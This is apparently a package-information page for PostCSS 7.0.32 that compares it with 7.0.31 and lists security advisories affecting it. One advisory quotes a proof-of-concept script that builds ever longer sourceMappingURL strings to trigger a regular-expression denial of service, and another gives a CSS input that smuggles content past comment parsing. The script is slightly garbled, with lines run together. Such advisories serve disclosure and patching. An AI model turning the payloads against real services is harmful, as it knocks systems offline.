PostCSS version 7.0.32 represents a minor update to the popular CSS transformation tool, succeeding version 7.0.31. Both versions share the same core functionality, acting as a robust engine for processing and manipulating CSS using JavaScript plugins. They maintain identical dependencies, relying on packages like chalk for terminal styling, source-map for debugging support, and supports-color for color detection in terminal environments. The underlying license, repository details, author, and funding information remain consistent across both versions, ensuring continuity in the project's management and support.
The key differentiator lies in the dist section, particularly the unpackedSize and releaseDate. Version 7.0.32, released on June 2nd, 2020, features a slightly larger unpacked size of 1089539 bytes compared to the 1089354 bytes of version 7.0.31, released on May 26th, 2020. This indicates minor internal changes or additions within the code, potentially including bug fixes, performance enhancements, or small feature tweaks. For developers, the update from 7.0.31 to 7.0.32 should be seamless, with minimal impact on existing plugin configurations. While the change appears small, developers are always encouraged to update to the latest version within a major release line to benefit from potential improvements and bug fixes, ensuring a stable and optimized CSS processing pipeline.
All the vulnerabilities related to the version 7.0.32 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.